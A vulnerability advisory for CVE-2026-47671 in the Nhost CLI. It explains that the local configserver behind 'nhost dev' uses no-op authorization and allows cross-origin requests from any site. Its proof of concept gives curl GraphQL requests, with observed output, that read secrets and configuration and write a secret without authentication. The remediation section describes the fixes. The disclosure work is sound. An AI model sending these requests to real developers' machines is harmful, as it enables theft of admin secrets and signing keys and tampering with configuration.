CVE-2026-47671

Description

### Summary The hidden `nhost configserver` used by `nhost dev` exposes the Mimir GraphQL API with dummy authorization directives and permissive CORS. When a developer is running the local development environment, any process that can reach the developer's localhost service, including a web page loaded from an arbitrary origin, can query the configserver for local Nhost configuration and secrets and can mutate the local `.secrets` file. This impacts developers using `nhost dev`: project admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables can be read, and attacker-controlled secrets can be written to the local development project. ### Details The CLI registers a hidden `configserver` command in `cli/main.go:39` and `cli/main.go:41`. That command is used as the local development configserver image in `nhost dev`: `cli/cmd/dev/up.go:176` through `cli/cmd/dev/up.go:200` select `nhost/cli:<version>` as the configserver image, and `cli/dockercompose/configserver.go:80` through `cli/dockercompose/configserver.go:84` run it with the `configserver` command. The generated development dashboard receives the configserver and logs GraphQL URLs in public client-side environment variables at `cli/dockercompose/compose.go:347` through `cli/dockercompose/compose.go:358`. The configserver intentionally loads the local project files into Mimir's GraphQL resolver in `cli/cmd/configserver/configserver.go:143` through `cli/cmd/configserver/configserver.go:156`. However, the authorization directives passed to `graph.SetupRouter` are no-ops: - `cli/cmd/configserver/configserver.go:83` through `cli/cmd/configserver/configserver.go:89` define `dummyMiddleware`, which calls the next resolver without checking app visibility. - `cli/cmd/configserver/configserver.go:91` through `cli/cmd/configserver/configserver.go:98` define `dummyMiddleware2`, which calls the next resolver without checking roles. - `cli/cmd/configserver/configserver.go:161` through `cli/cmd/configserver/configserver.go:170` pass those dummy directive handlers and `cors.Default()` to the GraphQL router. The default `rs/cors` configuration allows all origins when no `AllowedOrigins` are specified: `vendor/github.com/rs/cors/cors.go:163` through `vendor/github.com/rs/cors/cors.go:167`, and `vendor/github.com/rs/cors/cors.go:248` through `vendor/github.com/rs/cors/cors.go:249` show `Default()` uses `Options{}`. A browser preflight from an arbitrary origin receives `Access-Control-Allow-Origin: *`. The exposed GraphQL schema includes sensitive queries and mutations: - `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:41` through `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:57` expose `configRawJSON`, `config`, and `appSecrets` by app ID. `appSecrets` is protected only by `@hasAppVisibility`, which the configserver replaces with the no-op `dummyMiddleware`. - `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:117` through `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:128` expose `insertSecret`, `updateSecret`, and `deleteSecret`, also protected only by the no-op `@hasAppVisibility` directive. - `vendor/github.com/nhost/be/services/mimir/graph/q_app_secrets.go:10` through `vendor/github.com/nhost/be/services/mimir/graph/q_app_secrets.go:30` return the app's secrets. - `vendor/github.com/nhost/be/services/mimir/graph/q_config_raw_json.go:12` returns raw JSON for the app configuration, which includes sensitive fields such as Hasura admin secrets and JWT signing keys in local development config. - `vendor/github.com/nhost/be/services/mimir/graph/m_insert_secret.go:11` through `vendor/github.com/nhost/be/services/mimir/graph/m_insert_secret.go:47` append attacker-supplied secrets and call plugin `UpdateSecrets`. - `cli/cmd/configserver/local.go:164` through `cli/cmd/configserver/local.go:175` marshal the new secrets and write them to the configured local secrets file with `os.WriteFile`. Because the local configserver uses a fixed zero UUID app ID for the local app (`cli/cmd/configserver/local.go:134`) and does not require cookies, tokens, or admin headers, a request only needs the known GraphQL endpoint and app ID. Candidate score: 14/14. - Reachability: 2 — reachable in the documented local development path using `nhost dev` and directly through the hidden `configserver` command. - Attacker control: 2 — GraphQL query and mutation bodies are fully attacker-controlled. - Privilege required: 2 — no authentication or local Nhost privileges are required beyond network/browser reachability to the developer's local configserver. - Sink impact: 2 — sensitive secret read and local secrets file write. - Mitigation weakness: 2 — role/app-visibility directives are replaced with no-op handlers, and CORS permits all origins. - Default exposure: 2 — enabled by the common local development setup. - Safe reproduction feasibility: 2 — confirmed locally with disposable fixture files. ### PoC The following proof uses only localhost and disposable temporary files. It does not contact external systems and does not read or modify real project secrets. 1. Start a configserver instance against temporary local files: ```sh tmpdir=$(mktemp -d) config="$tmpdir/nhost.toml" secrets="$tmpdir/.secrets" cat > "$config" <<'EOF' [hasura] adminSecret = 'local-test-admin-secret' webhookSecret = 'local-test-webhook-secret' [[hasura.jwtSecrets]] type = 'HS256' key = 'local-test-jwt-secret' [observability] [observability.grafana] adminPassword = 'local-test-grafana-password' EOF cat > "$secrets" <<'EOF' localProofSecret = 'LOCAL_PROOF_SECRET_VALUE' EOF port=18088 go run ./cli configserver \ --bind "127.0.0.1:$port" \ --storage-local-config-path "$config" \ --storage-local-secrets-path "$secrets" ``` 2. From another shell, show that a browser-style preflight from an arbitrary origin is accepted: ```sh curl -sS -i -X OPTIONS \ -H 'Origin: https://attacker.example' \ -H 'Access-Control-Request-Method: POST' \ -H 'Access-Control-Request-Headers: content-type' \ "http://127.0.0.1:18088/v1/configserver/graphql" ``` Observed proof output in this environment: ```text HTTP/1.1 204 No Content Access-Control-Allow-Headers: content-type Access-Control-Allow-Methods: POST Access-Control-Allow-Origin: * Vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers ``` 3. Read local development secrets without any authentication: ```sh curl -sS -i \ -H 'Origin: https://attacker.example' \ -H 'Content-Type: application/json' \ --data '{"query":"query { appSecrets(appID: \"00000000-0000-0000-0000-000000000000\") { name value } }"}' \ "http://127.0.0.1:18088/v1/configserver/graphql" ``` Observed proof output in this environment: ```text HTTP/1.1 200 OK Access-Control-Allow-Origin: * {"data":{"appSecrets":[{"name":"localProofSecret","value":"LOCAL_PROOF_SECRET_VALUE"}]}} ``` 4. Read sensitive local configuration without any authentication: ```sh curl -sS -i \ -H 'Origin: https://attacker.example' \ -H 'Content-Type: application/json' \ --data '{"query":"query { configRawJSON(appID: \"00000000-0000-0000-0000-000000000000\", resolve: false) }"}' \ "http://127.0.0.1:18088/v1/configserver/graphql" ``` Observed proof output in this environment: ```text HTTP/1.1 200 OK Access-Control-Allow-Origin: * {"data":{"configRawJSON":"{\"hasura\":{\"adminSecret\":\"local-test-admin-secret\",\"jwtSecrets\":[{\"key\":\"local-test-jwt-secret\",\"type\":\"HS256\"}],\"webhookSecret\":\"local-test-webhook-secret\"},\"observability\":{\"grafana\":{\"adminPassword\":\"local-test-grafana-password\"}}}"}} ``` 5. Mutate the local `.secrets` file without any authentication: ```sh curl -sS -i \ -H 'Origin: https://attacker.example' \ -H 'Content-Type: application/json' \ --data '{"query":"mutation { insertSecret(appID: \"00000000-0000-0000-0000-000000000000\", secret: { name: \"INJECTED_BY_UNAUTHENTICATED_REQUEST\", value: \"SAFE_LOCAL_MARKER\" }) { name value } }"}' \ "http://127.0.0.1:18088/v1/configserver/graphql" grep -E 'INJECTED_BY_UNAUTHENTICATED_REQUEST|SAFE_LOCAL_MARKER' "$secrets" ``` Observed proof output in this environment: ```text HTTP/1.1 200 OK Access-Control-Allow-Origin: * {"data":{"insertSecret":{"name":"INJECTED_BY_UNAUTHENTICATED_REQUEST","value":"SAFE_LOCAL_MARKER"}}} INJECTED_BY_UNAUTHENTICATED_REQUEST = 'SAFE_LOCAL_MARKER' ``` 6. Cleanup: ```sh # Stop the configserver process, then remove the disposable fixture directory. rm -rf "$tmpdir" ``` ### Impact An attacker who can cause a developer to visit a web page while `nhost dev` is running can use JavaScript from that page to send cross-origin GraphQL requests to the local Nhost configserver. The attacker can read local development secrets and configuration, including Hasura admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables stored in `.secrets`. The attacker can also mutate the local `.secrets` file, which can alter subsequent local development behavior and potentially poison local configuration consumed by services. This is not a hosted-production unauthenticated endpoint vulnerability; it affects the local developer environment. The realistic attacker model is a malicious web page, local unprivileged process, or same-network process that can reach the developer's local configserver route while the development stack is running. ### Remediation Addressed in [nhost/nhost#4302](https://github.com/nhost/nhost/pull/4302) with three layered controls: - **CORS restricted to the dashboard origin.** `cors.Default()` in `cli/cmd/configserver/configserver.go` is replaced by `corsMiddleware()`, which uses an `AllowOriginFunc` driven by `dashboardOriginRe = ^https?://([^./]+\.dashboard\.local\.nhost\.run|local\.dashboard\.nhost\.run)(:\d+)?$`. Arbitrary origins receive no `Access-Control-Allow-*` headers and are rejected by browsers. The allowlist is locked in by `cli/cmd/configserver/configserver_test.go`. - **Unguessable per-project app ID.** The fixed zero UUID is replaced by a UUIDv4 generated on first `nhost dev`, persisted to `.nhost/app_id` (mode `0600`) by `cli/clienv/appid.go`, and threaded via `NHOST_APP_ID` into the configserver container and `NEXT_PUBLIC_NHOST_APP_ID` into the dashboard. The configserver `serve` action validates the value with `uuid.Parse` at startup. Queries against any other app ID resolve to no app. - **In-memory secret redaction with reconciling writes.** `cli/cmd/configserver/local.go` adds `loadSecretsRedacted`, which substitutes every secret value with `<placeholder-from-local-configserver-substituted-for-real-secret>` before secrets enter the graph store, so `appSecrets` and any other read path return placeholders. `UpdateSecrets` reconciles incoming mutations against the on-disk `.secrets` file — placeholder values preserve the on-disk value, only real new values are written — so a caller that has not seen the real secret cannot overwrite it with a known string. Coverage in `cli/cmd/configserver/local_test.go`.